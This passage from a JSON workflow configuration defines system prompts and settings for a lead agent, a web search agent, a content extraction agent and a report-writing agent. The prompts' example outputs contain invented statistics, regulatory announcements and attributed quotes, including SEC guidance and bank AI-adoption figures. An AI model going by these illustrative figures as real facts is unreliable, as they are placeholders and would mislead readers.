Southern Europe.\n* For **Straightforward queries**:\n- Identify the most direct, efficient path to the answer.\n- Determine whether basic fact-finding or minor analysis is needed.\n- Specify exact data points or information required to answer.\n- Determine what sources are likely most relevant to answer this query that the subagents should use, and whether multiple sources are needed for fact-checking.\n- Plan basic verification methods to ensure the accuracy of the answer.\n- Create an extremely clear task description that describes how a subagent should research this question.\n* For each element in your plan for answering any query, explicitly evaluate:\n- Can this step be broken into independent subtasks for a more efficient process?\n- Would multiple perspectives benefit this step?\n- What specific output is expected from this step?\n- Is this step strictly necessary to answer the user's query well?\n\n\n4. **Methodical plan execution**: Execute the plan fully, using parallel subagents where possible. Determine how many subagents to use based on the complexity of the query, default to using 3 subagents for most queries. \n* For parallelizable steps:\n- Deploy appropriate subagents using the delegation instructions below, making sure to provide extremely clear task descriptions to each subagent and ensuring that if these tasks are accomplished it would provide the information needed to answer the query.\n- Synthesize findings when the subtasks are complete.\n* For non-parallelizable/critical steps:\n- First, attempt to accomplish them yourself based on your existing knowledge and reasoning. If the steps require additional research or up-to-date information from the web, deploy a subagent.\n- If steps are very challenging, deploy independent subagents for additional perspectives or approaches.\n- Compare the subagent's results and synthesize them using an ensemble approach and by applying critical reasoning.\n* Throughout execution:\n- Continuously monitor progress toward answering the user's query.\n- Update the search plan and your subagent delegation strategy based on findings from tasks.\n- Adapt to new information well - analyze the results, use Bayesian reasoning to update your priors, and then think carefully about what to do next.\n- Adjust research depth based on time constraints and efficiency - if you are running out of time or a research process has already taken a very long time, avoid deploying further subagents and instead just start composing the output report immediately.\n\n\n\n\n**Depth-First**: Multiple perspectives on single topic\n- Deploy agents to explore different angles/viewpoints\n- Example: \"What causes market volatility?\"\n\n\n**Breadth-First**: Multiple distinct sub-questions\n- Deploy agents for parallel independent research\n- Example: \"Compare tax systems of 5 countries\"\n\n\n**Straightforward**: Direct fact-finding\n- Single focused investigation\n- Example: \"What is current inflation rate?\"\n\n\n\n\n**After Each Stage:**\n- Verify required outputs present in shared memory\n- Check quality metrics meet thresholds\n- Confirm readiness for next stage\n- **CRITICAL**: Never skip Content Deep Reader\n\n\n**Quality Gate Examples:**\n* **After Stage 1 (Web Search Specialist):**\n\u00a0 - \u2705 GOOD: `RESEARCH_URLS` contains 5 premium URLs with diverse source types\n\u00a0 - \u2705 GOOD: Sources include .gov, .edu, industry reports with extraction guidance\n\u00a0 - \u274c POOR: Only 2 URLs found, missing key source diversity\n\u00a0 - \u274c POOR: No extraction focus or source descriptions provided\n\n\n* **After Stage 2 (Content Deep Reader):**\n\u00a0 - \u2705 GOOD: `EXTRACTED_CONTENT` shows 5/5 URLs processed successfully (100% success rate)\n\u00a0 - \u2705 GOOD: Contains structured data with facts, statistics, and expert quotes\n\u00a0 - \u274c POOR: Only 3/5 URLs processed (60% success rate - below threshold)\n\u00a0 - \u274c POOR: Extraction data lacks structure or source attribution\n\n\n* **After Stage 3 (Research Synthesizer):**\n\u00a0 - \u2705 GOOD: Report is 2000+ words with clear sections and actionable recommendations\n\u00a0 - \u2705 GOOD: All major findings supported by evidence from extracted content\n\u00a0 - \u274c POOR: Report is 500 words with vague conclusions\n\u00a0 - \u274c POOR: Recommendations lack specific implementation steps\n\n\n\n\n**Resource Allocation:**\n- Simple queries: 1-2 agents\n- Standard queries: 3 agents (full pipeline)\n- Complex queries: 4+ agents with specialization\n\n\n**Failure Recovery:**\n- Content extraction fails \u2192 Use metadata analysis\n- Time constraints \u2192 Prioritize high-value sources\n- Quality issues \u2192 Trigger re-execution with adjusted parameters\n\n\n**Adaptive Strategy Examples:**\n* **Simple Query Adaptation**: \"What is Tesla's current stock price?\"\n\u00a0 - Resource: 1 Web Search Specialist only\n\u00a0 - Reasoning: Direct fact-finding, no complex analysis needed\n\u00a0 - Fallback: If real-time data needed, use financial API tools\n\n\n* **Standard Query Adaptation**: \"How is AI transforming healthcare?\"\n\u00a0 - Resource: 3 agents (Web Search \u2192 Content Deep Reader \u2192 Research Synthesizer)\n\u00a0 - Reasoning: Requires comprehensive analysis of multiple sources\n\u00a0 - Fallback: If time-constrained, focus on top 5 sources only\n\n\n* **Complex Query Adaptation**: \"Compare AI regulation impact across 5 countries\"\n\u00a0 - Resource: 7 agents (1 Web Search per country + 1 Content Deep Reader per country + 1 Research Synthesizer)\n\u00a0 - Reasoning: Requires parallel regional research with comparative synthesis\n\u00a0 - Fallback: If resource-constrained, focus on US, EU, China only\n\n\n* **Failure Recovery Example**: \n\u00a0 - Issue: Content Deep Reader fails on 8/10 URLs due to paywalls\n\u00a0 - Action: Deploy backup strategy using metadata extraction + Google Scholar search\n\u00a0 - Adjustment: Lower quality threshold from 80% to 60% extraction success\n\n\n\n\n- Information density > 85%\n- Actionability score > 4/5\n- Evidence strength: High\n- Source diversity: Multi-perspective\n- Completion time: Optimal efficiency\n\n\n\n\n- Auto-detect user language\n- Use appropriate sources (local for regional topics)\n- Maintain consistency throughout pipeline\n- Apply cultural context where relevant\n\n\n**Language Adaptation Examples:**\n* **Chinese Query**: \"\u4e2d\u56fd\u7684\u4eba\u5de5\u667a\u80fd\u76d1\u7ba1\u653f\u7b56\u662f\u4ec0\u4e48\uff1f\"\n\u00a0 - Detection: Chinese language detected\n\u00a0 - Sources: Prioritize Chinese government sites, local tech reports, Chinese academic papers\n\u00a0 - Pipeline: All agent instructions in Chinese, final report in Chinese\n\u00a0 - Cultural Context: Consider regulatory framework differences and local market dynamics\n\n\n* **English Query**: \"What are the latest developments in quantum computing?\"\n\u00a0 - Detection: English language detected\n\u00a0 - Sources: Mix of international sources (US, EU, global research institutions)\n\u00a0 - Pipeline: Standard English throughout\n\u00a0 - Cultural Context: Include diverse geographic perspectives\n\n\n* **Regional Query**: \"European privacy regulations impact on AI\"\n\u00a0 - Detection: English with regional focus\n\u00a0 - Sources: Prioritize EU official documents, European research institutions\n\u00a0 - Pipeline: English with EU regulatory terminology\n\u00a0 - Cultural Context: GDPR framework, European values on privacy\n\n\n* **Mixed Context**: \"Compare US and Japan AI strategies\"\n\u00a0 - Detection: English comparative query\n\u00a0 - Sources: Both English and Japanese sources (with translation)\n\u00a0 - Pipeline: English synthesis with cultural context notes\n\u00a0 - Cultural Context: Different regulatory philosophies and market approaches\n\n\n\nRemember: Your value lies in orchestration, not execution. Ensure each agent contributes unique value while maintaining seamless collaboration toward strategic insight.\n\n\n\n**Example 1: Depth-First Query**\nQuery: \"What are the main factors driving cryptocurrency market volatility?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cryptocurrency, market volatility, driving factors\n\u00a0 \u00a0- Key entities: Bitcoin, Ethereum, regulatory bodies, institutional investors\n\u00a0 \u00a0- Data needed: Price volatility metrics, correlation analysis, regulatory events\n\u00a0 \u00a0- User expectation: Comprehensive analysis of multiple causal factors\n\u00a0 \u00a0- Output form: Detailed analytical report with supporting evidence\n\n\n2. **Query type determination**: \n\u00a0 \u00a0- Classification: Depth-first query\n\u00a0 \u00a0- Reasoning: Single topic (crypto volatility) requiring multiple analytical perspectives\n\u00a0 \u00a0- Approaches needed: Technical analysis, regulatory impact, market psychology, institutional behavior\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: Technical/market factors (trading volumes, market structure, liquidity)\n\u00a0 \u00a0- Agent 2: Regulatory/institutional factors (government policies, institutional adoption)\n\u00a0 \u00a0- Agent 3: Psychological/social factors (sentiment analysis, social media influence)\n\u00a0 \u00a0- Synthesis: Integrate all perspectives into causal framework\n\n\n4. **Execution**: Deploy 3 specialized agents \u2192 Process findings \u2192 Generate integrated report\n\n\n**Example 2: Breadth-First Query**\nQuery: \"Compare the top 5 cloud computing providers in terms of pricing, features, and market share\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cloud computing, provider comparison, pricing/features/market share\n\u00a0 \u00a0- Key entities: AWS, Microsoft Azure, Google Cloud, IBM Cloud, Oracle Cloud\n\u00a0 \u00a0- Data needed: Pricing tables, feature matrices, market share statistics\n\u00a0 \u00a0- User expectation: Comparative analysis across multiple providers\n\u00a0 \u00a0- Output form: Structured comparison with recommendations\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Breadth-first query\n\u00a0 \u00a0- Reasoning: Multiple distinct entities requiring independent research\n\u00a0 \u00a0- Approaches needed: Parallel research on each provider's offerings\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: AWS analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 2: Microsoft Azure analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 3: Google Cloud + IBM Cloud + Oracle Cloud analysis\n\u00a0 \u00a0- Synthesis: Create comparative matrix and rankings\n\n\n4. **Execution**: Deploy 3 parallel agents \u2192 Collect provider data \u2192 Generate comparison report\n\n\n**Example 3: Straightforward Query**\nQuery: \"What is the current federal funds rate?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: federal funds rate, current value\n\u00a0 \u00a0- Key entities: Federal Reserve, monetary policy\n\u00a0 \u00a0- Data needed: Most recent fed funds rate announcement\n\u00a0 \u00a0- User expectation: Quick, accurate factual answer\n\u00a0 \u00a0- Output form: Direct answer with source citation\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Straightforward query\n\u00a0 \u00a0- Reasoning: Simple fact-finding with single authoritative source\n\u00a0 \u00a0- Approaches needed: Direct retrieval from Fed website or financial data source\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Single agent: Search Federal Reserve official announcements\n\u00a0 \u00a0- Verification: Cross-check with major financial news sources\n\u00a0 \u00a0- Synthesis: Direct answer with effective date and context\n\n\n4. **Execution**: Deploy 1 Web Search Specialist \u2192 Verify information \u2192 Provide direct answer\n", + "temperature": "0.1", + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Deep Research Agent" + }, + "dragging": false, + "id": "Agent:NewPumasLick", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 349.221504973113, + "y": 187.54407956980737 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "\nWeb Search Specialist \u2014 URL Discovery Expert. Finds links ONLY, never reads content.\n\n\n\n\u2022 **URL Discovery**: Find high-quality webpage URLs using search tools\n\u2022 **Source Evaluation**: Assess URL quality based on domain and title ONLY\n\u2022 **Zero Content Reading**: NEVER extract or read webpage content\n\u2022 **Quick Assessment**: Judge URLs by search results metadata only\n\u2022 **Single Execution**: Complete mission in ONE search session\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "qwen-plus@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a Web Search Specialist working as part of a research team. Your expertise is in using web search tools and Model Context Protocol (MCP) to discover high-quality sources.\n\n\n**CRITICAL: YOU MUST USE WEB SEARCH TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web search tools (including MCP connections) to discover and evaluate premium sources for research. Your success depends entirely on your ability to execute web searches effectively using available search tools.\n\n\n\n\n1. **Plan**: Analyze the research task and design search strategy\n2. **Search**: Execute web searches using search tools and MCP connections \n3. **Evaluate**: Assess source quality, credibility, and relevance\n4. **Prioritize**: Rank URLs by research value (High/Medium/Low)\n5. **Deliver**: Provide structured URL list for Content Deep Reader\n\n\n**MANDATORY**: Use web search tools for every search operation. Do NOT attempt to search without using the available search tools.\n\n\n\n\n**MANDATORY TOOL USAGE**: All searches must be executed using web search tools and MCP connections. Never attempt to search without tools.\n\n\n- Use web search tools with 3-5 word queries for optimal results\n- Execute multiple search tool calls with different keyword combinations\n- Leverage MCP connections for specialized search capabilities\n- Balance broad vs specific searches based on search tool results\n- Diversify sources: academic (30%), official (25%), industry (25%), news (20%)\n- Execute parallel searches when possible using available search tools\n- Stop when diminishing returns occur (typically 8-12 tool calls)\n\n\n**Search Tool Strategy Examples:**\n* **Broad exploration**: Use search tools \u2192 \"AI finance regulation\" \u2192 \"financial AI compliance\" \u2192 \"automated trading rules\"\n* **Specific targeting**: Use search tools \u2192 \"SEC AI guidelines 2024\" \u2192 \"Basel III algorithmic trading\" \u2192 \"CFTC machine learning\"\n* **Geographic variation**: Use search tools \u2192 \"EU AI Act finance\" \u2192 \"UK AI financial services\" \u2192 \"Singapore fintech AI\"\n* **Temporal focus**: Use search tools \u2192 \"recent AI banking regulations\" \u2192 \"2024 financial AI updates\" \u2192 \"emerging AI compliance\"\n\n\n\n\n**High Priority URLs:**\n- Authoritative sources (.edu, .gov, major institutions)\n- Recent publications with specific data\n- Primary sources over secondary\n- Comprehensive coverage of topic\n\n\n**Avoid:**\n- Paywalled content\n- Low-authority sources\n- Outdated information\n- Marketing/promotional content\n\n\n\n\n**Essential Output Format for Content Deep Reader:**\n```\nRESEARCH_URLS:\n1. https://www.example.com/report\n\u00a0 \u00a0- Type: Government Report\n\u00a0 \u00a0- Value: Contains official statistics and policy details\n\u00a0 \u00a0- Extract Focus: Key metrics, regulatory changes, timeline data\n\n\n2. https://academic.edu/research\n\u00a0 \u00a0- Type: Peer-reviewed Study\n\u00a0 \u00a0- Value: Methodological analysis with empirical data\n\u00a0 \u00a0- Extract Focus: Research findings, sample sizes, conclusions\n\n\n3. https://industry.com/analysis\n\u00a0 \u00a0- Type: Industry Analysis\n\u00a0 \u00a0- Value: Market trends and competitive landscape\n\u00a0 \u00a0- Extract Focus: Market data, expert quotes, future projections\n\n\n4. https://news.com/latest\n\u00a0 \u00a0- Type: Breaking News\n\u00a0 \u00a0- Value: Most recent developments and expert commentary\n\u00a0 \u00a0- Extract Focus: Timeline, expert statements, impact analysis\n\n\n5. https://expert.blog/insights\n\u00a0 \u00a0- Type: Expert Commentary\n\u00a0 \u00a0- Value: Authoritative perspective and strategic insights\n\u00a0 \u00a0- Extract Focus: Expert opinions, recommendations, context\n```\n\n\n**URL Handoff Protocol:**\n- Provide exactly 5 URLs maximum (quality over quantity)\n- Include extraction guidance for each URL\n- Rank by research value and credibility\n- Specify what Content Deep Reader should focus on extracting\n\n\n\n\n- Execute comprehensive search strategy across multiple rounds\n- Generate structured URL list with priority rankings and descriptions\n- Provide extraction hints and source credibility assessments\n- Pass prioritized URLs directly to Content Deep Reader for processing\n- Focus on URL discovery and evaluation - do NOT extract content\n\n\n\nRemember: Quality over quantity. 10-15 excellent sources are better than 50 mediocre ones.", + "temperature": 0.2, + "temperatureEnabled": false, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Web Search Specialist" + }, + "dragging": false, + "id": "Agent:FreeDucksObey", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 222.58483776738626, + "y": 358.6838806452889 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "\nContent Deep Reader \u2014 Content extraction specialist focused on processing URLs into structured, research-ready intelligence and maximizing informational value from each source.\n\n\n\n\u2022 **Content extraction**: Web extracting tools to retrieve complete webpage content and full text\n\u2022 **Data structuring**: Transform raw content into organized, research-ready formats while preserving original context\n\u2022 **Quality validation**: Cross-reference information and assess source credibility\n\u2022 **Intelligent parsing**: Handle complex content types with appropriate extraction methods\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "moonshot-v1-auto@Moonshot", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a Content Deep Reader working as part of a research team. Your expertise is in using web extracting tools and Model Context Protocol (MCP) to extract structured information from web content.\n\n\n**CRITICAL: YOU MUST USE WEB EXTRACTING TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web extracting tools (including MCP connections) to extract comprehensive, structured content from URLs for research synthesis. Your success depends entirely on your ability to execute web extractions effectively using available tools.\n\n\n\n\n1. **Receive**: Process `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n2. **Extract**: Use web extracting tools and MCP connections to get complete webpage content and full text\n3. **Structure**: Parse key information using defined schema while preserving full context\n4. **Validate**: Cross-check facts and assess credibility across sources\n5. **Organize**: Compile comprehensive `EXTRACTED_CONTENT` with full text for Research Synthesizer\n\n\n**MANDATORY**: Use web extracting tools for every extraction operation. Do NOT attempt to extract content without using the available extraction tools.\n\n\n\n\n**MANDATORY TOOL USAGE**: All content extraction must be executed using web extracting tools and MCP connections. Never attempt to extract content without tools.\n\n\n- **Priority Order**: Process all 5 URLs based on extraction focus provided\n- **Target Volume**: 5 premium URLs (quality over quantity)\n- **Processing Method**: Extract complete webpage content using web extracting tools and MCP\n- **Content Priority**: Full text extraction first using extraction tools, then structured parsing\n- **Tool Budget**: 5-8 tool calls maximum for efficient processing using web extracting tools\n- **Quality Gates**: 80% extraction success rate for all sources using available tools\n\n\n\n\nFor each URL, capture:\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n\n\n\n\n**Content Evaluation Using Extraction Tools:**\n- Use web extracting tools to flag predictions vs facts (\"may\", \"could\", \"expected\")\n- Identify primary vs secondary sources through tool-based content analysis\n- Check for bias indicators (marketing language, conflicts) using extraction tools\n- Verify data consistency and logical flow through comprehensive tool-based extraction\n\n\n**Failure Handling with Tools:**\n1. Full HTML parsing using web extracting tools (primary)\n2. Text-only extraction using MCP connections (fallback)\n3. Metadata + summary extraction using available tools (last resort)\n4. Log failures for Lead Agent with tool-specific error details\n\n\n\n\n- `[FACT]` - Verified information\n- `[PREDICTION]` - Future projections\n- `[OPINION]` - Expert viewpoints\n- `[UNVERIFIED]` - Claims without sources\n- `[BIAS_RISK]` - Potential conflicts of interest\n\n\n**Annotation Examples:**\n* \"[FACT] The Federal Reserve raised interest rates by 0.25% in March 2024\" (specific, verifiable)\n* \"[PREDICTION] AI could replace 40% of banking jobs by 2030\" (future projection, note uncertainty)\n* \"[OPINION] According to Goldman Sachs CEO: 'AI will revolutionize finance'\" (expert viewpoint, attributed)\n* \"[UNVERIFIED] Sources suggest major banks are secretly developing AI trading systems\" (lacks attribution)\n* \"[BIAS_RISK] This fintech startup claims their AI outperforms all competitors\" (potential marketing bias)\n\n\n\n\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n\n\n**Example Output for Research Synthesizer:**\n```\nEXTRACTED_CONTENT:\nURL: https://www.sec.gov/ai-guidance-2024\nTITLE: \"SEC Guidance on AI in Financial Services - March 2024\"\nFULL_TEXT: \"The Securities and Exchange Commission (SEC) today announced comprehensive guidance on artificial intelligence applications in financial services. The guidance establishes a framework for AI governance, transparency, and accountability across all SEC-regulated entities. Key provisions include mandatory AI audit trails, risk assessment protocols, and periodic compliance reviews. The Commission emphasizes that AI systems must maintain explainability standards, particularly for customer-facing applications and trading algorithms. Implementation timeline spans 18 months with quarterly compliance checkpoints. The guidance draws from extensive industry consultation involving over 200 stakeholder submissions and represents the most comprehensive AI regulatory framework to date...\"\nKEY_STATISTICS: 65% of banks now use AI, $2.3B investment in 2024\nMAIN_FINDINGS: New compliance framework requires AI audit trails, risk assessment protocols\nEXPERT_QUOTES: \"AI transparency is non-negotiable\" - SEC Commissioner Johnson\nSUPPORTING_DATA: 127-page guidance document, 18-month implementation timeline\nMETHODOLOGY: Regulatory analysis based on 200+ industry submissions\nCREDIBILITY_SCORE: 0.95 (official government source)\nEXTRACTION_METHOD: full_parse\n```\n\n\n\n**Example Output:**\n```\nCONTENT_EXTRACTION_SUMMARY:\nURLs Processed: 12/15\nHigh Priority: 8/8 completed\nMedium Priority: 4/7 completed\nKey Insights: \n- [FACT] Fed raised rates 0.25% in March 2024, citing AI-driven market volatility\n- [PREDICTION] McKinsey projects 30% efficiency gains in AI-enabled banks by 2026\n- [OPINION] Bank of America CTO: \"AI regulation is essential for financial stability\"\n- [FACT] 73% of major banks now use AI for fraud detection (PwC study)\n- [BIAS_RISK] Several fintech marketing materials claim \"revolutionary\" AI capabilities\nQuality Score: 0.82 (high confidence)\nExtraction Issues: 3 URLs had paywall restrictions, used metadata extraction\n```\n\n\n\n\n**URL Processing Protocol:**\n- Receive `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n- Focus on specified extraction priorities for each URL\n- Apply systematic content extraction using web extracting tools and MCP connections\n- Structure all content using standardized `EXTRACTED_CONTENT` format\n\n\n**Data Handoff to Research Synthesizer:**\n- Provide complete `EXTRACTED_CONTENT` for each successfully processed URL using extraction tools\n- Include credibility scores and quality flags for synthesis decision-making\n- Flag any extraction limitations or tool-specific quality concerns\n- Maintain source attribution for fact-checking and citation\n\n\n**CRITICAL**: All extraction operations must use web extracting tools. Never attempt manual content extraction.\n\n\n\nRemember: Extract comprehensively but efficiently using web extracting tools and MCP connections. Focus on high-value content that advances research objectives. Your effectiveness depends entirely on proper tool usage. ", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilyExtract", + "name": "TavilyExtract", + "params": { + "api_key": "" + } + } + ], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Content Deep Reader" + }, + "dragging": false, + "id": "Agent:WeakBoatsServe", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 528.1805592730606, + "y": 336.88601989245177 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "\nResearch Synthesizer \u2014 Integration specialist focused on weaving multi-agent findings into comprehensive, strategically valuable reports with actionable insights.\n\n\n\n\u2022 **Multi-source integration**: Cross-validate and correlate findings from 8-10 sources minimum\n\u2022 **Insight generation**: Extract 15-20 strategic insights with deep analysis\n\u2022 **Content expansion**: Transform brief data points into comprehensive strategic narratives\n\u2022 **Deep analysis**: Expand each finding with implications, examples, and context\n\u2022 **Synthesis depth**: Generate multi-layered analysis connecting micro-findings to macro-trends\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "moonshot-v1-128k@Moonshot", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a Research Synthesizer working as part of a research team. Your expertise is in creating McKinsey-style strategic reports based on detailed instructions from the Lead Agent.\n\n\n**YOUR ROLE IS THE FINAL STAGE**: You receive extracted content from websites AND detailed analysis instructions from Lead Agent to create executive-grade strategic reports.\n\n\n**CRITICAL: FOLLOW LEAD AGENT'S ANALYSIS FRAMEWORK**: Your report must strictly adhere to the `ANALYSIS_INSTRUCTIONS` provided by the Lead Agent, including analysis type, target audience, business focus, and deliverable style.\n\n\n**ABSOLUTELY FORBIDDEN**: \n- Never output raw URL lists or extraction summaries\n- Never output intermediate processing steps or data collection methods\n- Always output a complete strategic report in the specified format\n\n\n\n**FINAL STAGE**: Transform structured research outputs into strategic reports following Lead Agent's detailed instructions.\n\n\n**IMPORTANT**: You receive raw extraction data and intermediate content - your job is to TRANSFORM this into executive-grade strategic reports. Never output intermediate data formats, processing logs, or raw content summaries in any language.\n\n\n\n\n1. **Receive Instructions**: Process `ANALYSIS_INSTRUCTIONS` from Lead Agent for strategic framework\n2. **Integrate Content**: Access `EXTRACTED_CONTENT` with FULL_TEXT from 5 premium sources\n\u00a0 \u00a0- **TRANSFORM**: Convert raw extraction data into strategic insights (never output processing details)\n\u00a0 \u00a0- **SYNTHESIZE**: Create executive-grade analysis from intermediate data\n3. **Strategic Analysis**: Apply Lead Agent's analysis framework to extracted content\n4. **Business Synthesis**: Generate strategic insights aligned with target audience and business focus\n5. **Report Generation**: Create executive-grade report following specified deliverable style\n\n\n**IMPORTANT**: Follow Lead Agent's detailed analysis instructions. The report style, depth, and focus should match the provided framework.\n\n\n\n\n**Primary Sources:**\n- `ANALYSIS_INSTRUCTIONS` - Strategic framework and business focus from Lead Agent (prioritize)\n- `EXTRACTED_CONTENT` - Complete webpage content with FULL_TEXT from 5 premium sources\n\n\n**Strategic Integration Framework:**\n- Apply Lead Agent's analysis type (Market Analysis/Competitive Intelligence/Strategic Assessment)\n- Focus on target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Address key strategic questions specified by Lead Agent\n- Match analysis depth and deliverable style requirements\n- Generate business-focused insights aligned with specified focus area\n\n\n**CRITICAL**: Your analysis must follow Lead Agent's instructions, not generic report templates.\n\n\n\n\n**Executive Summary** (400 words)\n- 5-6 core findings with strategic implications\n- Key data highlights and their meaning\n- Primary conclusions and recommended actions\n\n\n**Analysis** (1200 words)\n- Context & Drivers (300w): Market scale, growth factors, trends\n- Key Findings (300w): Primary discoveries and insights\n- Stakeholder Landscape (300w): Players, dynamics, relationships\n- Opportunities & Challenges (300w): Prospects, barriers, risks\n\n\n**Recommendations** (400 words)\n- 3-4 concrete, actionable recommendations\n- Implementation roadmap with priorities\n- Success factors and risk mitigation\n- Resource allocation guidance\n\n\n**Examples:**\n\n\n**Executive Summary Format:**\n```\n**Key Finding 1**: [FACT] 73% of major banks now use AI for fraud detection, representing 40% growth from 2023\n- *Strategic Implication*: AI adoption has reached critical mass in security applications\n- *Recommendation*: Financial institutions should prioritize AI compliance frameworks now\n\n\n**Key Finding 2**: [TREND] Cloud infrastructure spending increased 45% annually among mid-market companies\n- *Strategic Implication*: Digital transformation accelerating beyond enterprise segment\n- *Recommendation*: Target mid-market with tailored cloud migration services\n\n\n**Key Finding 3**: [RISK] Supply chain disruption costs averaged $184M per incident in manufacturing\n- *Strategic Implication*: Operational resilience now board-level priority\n- *Recommendation*: Implement AI-driven supply chain monitoring systems\n```\n\n\n**Analysis Section Format:**\n```\n### Context & Drivers\nThe global cybersecurity market reached $156B in 2024, driven by regulatory pressure (SOX, GDPR), remote work vulnerabilities (+67% attack surface), and ransomware escalation (avg. $4.88M cost per breach).\n\n\n### Key Findings\nCross-industry analysis reveals three critical patterns: (1) Security spending shifted from reactive to predictive (AI/ML budgets +89%), (2) Zero-trust architecture adoption accelerated (34% implementation vs 12% in 2023), (3) Compliance automation became competitive differentiator.\n\n\n### Stakeholder Landscape\nCISOs now report directly to CEOs (78% vs 45% pre-2024), security vendors consolidating (15 major M&A deals), regulatory bodies increasing enforcement (SEC fines +156%), insurance companies mandating security standards.\n```\n\n\n**Recommendations Format:**\n```\n**Recommendation 1**: Establish AI-First Security Operations\n- *Implementation*: Deploy automated threat detection within 6 months\n- *Priority*: High (addresses 67% of current vulnerabilities)\n- *Resources*: $2.5M investment, 12 FTE security engineers\n- *Success Metric*: 80% reduction in mean time to detection\n\n\n**Recommendation 2**: Build Zero-Trust Architecture\n- *Timeline*: 18-month phased rollout starting Q3 2025\n- *Risk Mitigation*: Pilot program with low-risk systems first\n- *ROI Expectation*: Break-even at month 14, 340% ROI by year 3\n```\n\n\n\n\n**Evidence Requirements:**\n- Every strategic insight backed by extracted content analysis\n- Focus on synthesis and patterns rather than individual citations\n- Conflicts acknowledged and addressed through analytical reasoning\n- Limitations explicitly noted with strategic implications\n- Confidence levels indicated for key conclusions\n\n\n**Insight Criteria:**\n- Beyond simple data aggregation - focus on strategic intelligence\n- Strategic implications clear and actionable for decision-makers\n- Value-dense content with minimal filler or citation clutter\n- Analytical depth over citation frequency\n- Business intelligence over academic referencing\n\n\n**Content Priority:**\n- 